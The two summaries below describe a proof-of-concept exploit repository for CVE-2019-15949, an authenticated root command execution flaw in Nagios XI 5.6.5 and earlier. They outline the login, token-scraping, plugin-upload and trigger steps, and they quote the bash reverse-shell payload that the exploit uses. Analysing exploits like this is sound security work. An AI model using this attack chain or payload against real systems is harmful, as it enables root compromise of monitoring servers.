Authenticated Root Command Execution in Nagios XI getprofile.sh

This repository is a small standalone Python proof-of-concept exploit for CVE-2019-15949 affecting Nagios XI <= 5.6.5. It contains only two files: a README describing the vulnerability and usage, and a single executable script, exploit.py, which is the main entry point. The exploit is not part of a larger framework. The script automates an authenticated web attack chain against Nagios XI. It first connects to /nagiosxi/login.php, parses the HTML to extract the NSP token, and logs in with supplied credentials. It then requests /nagiosxi/admin/monitoringplugins.php to obtain another NSP token and uploads a malicious plugin file named check_ping. The uploaded content is not a normal plugin binary or script wrapper; it is a raw bash reverse-shell command: bash -i >& /dev/tcp/<reverse_ip>/<reverse_port> 0>&1. Finally, the script triggers /nagiosxi/includes/components/profile/profile.php?cmd=download, which according to the README causes the privileged getprofile.sh workflow to execute the attacker-controlled plugin, yielding code execution as root. Primary capability: authenticated remote code execution leading to privilege escalation to root, provided the attacker already has a Nagios XI account with sufficient permissions to manage plugins (or equivalent access described in the README). The exploit is operational rather than a mere detection script because it performs login, token extraction, payload upload, and trigger steps end-to-end, and includes a working reverse-shell payload. It is not heavily weaponized: the payload is hardcoded to a bash reverse shell and requires the operator to supply callback IP/port and run a listener. Notable implementation details: the script supports both HTTP and HTTPS via a boolean argument, disables TLS certificate verification and urllib3 warnings, uses requests.Session() for cookie persistence, and relies on BeautifulSoup to scrape hidden nsp form fields. Error handling is minimal; it only checks for a non-200 login response and otherwise assumes the target pages and tokens are present. Overall, the repository’s purpose is to provide a concise authenticated RCE/root-shell PoC for vulnerable Nagios XI deployments.

This repository contains a Python proof-of-concept exploit for CVE-2019-15949, a remote code execution vulnerability in Nagios XI versions 5.6.5 and below. The exploit consists of two files: a README.md with detailed vulnerability and usage information, and exploit.py, which automates the attack. The exploit works by logging into the Nagios XI web interface with valid credentials, uploading a malicious plugin containing a bash reverse shell payload, and then triggering the payload by downloading a system profile. The attack results in a reverse shell as root on the target system. The code interacts with several Nagios XI web endpoints, including login, plugin management, and profile download. The exploit is operational and requires the attacker to have valid credentials with plugin management permissions.